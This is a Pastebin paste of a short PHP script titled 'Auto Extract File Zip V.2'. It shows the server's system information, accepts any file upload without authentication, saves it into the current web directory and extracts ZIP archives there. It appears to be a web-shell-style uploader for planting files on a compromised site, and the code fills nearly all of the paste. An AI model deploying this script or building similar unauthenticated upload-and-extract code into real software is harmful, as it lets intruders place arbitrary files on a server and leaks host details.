SHARE
TWEET

Auto Extract File Zip V.2 [Upload ZIP > Auto Extract]

ToKeiChun Mar 13th, 2019 72 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. echo   '<center><b>Upload .zip File Auto Extract<br>System : '.php_uname().'<br></center><br>   Upload your .zip File.</b> ';  
  3. echo   '<form   action=""   method="post"   enctype="multipart/form-data"   name="uploader"   id="uploader">';  
  4. echo   '<input   type="file"   name="file"   size="50"><input   name="_upl"   type="submit"   id="_upl"   value="Upload"></form>';  
  5. if(   $_POST['_upl']   ==   "Upload"   )   {  
  6. $file   =   $_FILES['file']['name'];  
  7. if(@copy($_FILES['file']['tmp_name'],   $_FILES['file']['name']))   {  
  8. $zip   =   new   ZipArchive;  
  9. if   ($zip->open($file)   ===   TRUE)   {  
  10.             $zip->extractTo('./');  
  11.             $zip->close();  
  12. echo   'Your .zip file was uploaded and unpacked.';  
  13. }   else   {  
  14. echo   'Uploaded but Not Extracted!';  
  15. }              
  16. }else{      
  17. echo   '<b>Failed!</b><br><br>';      
  18. }  
  19. }  
  20. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top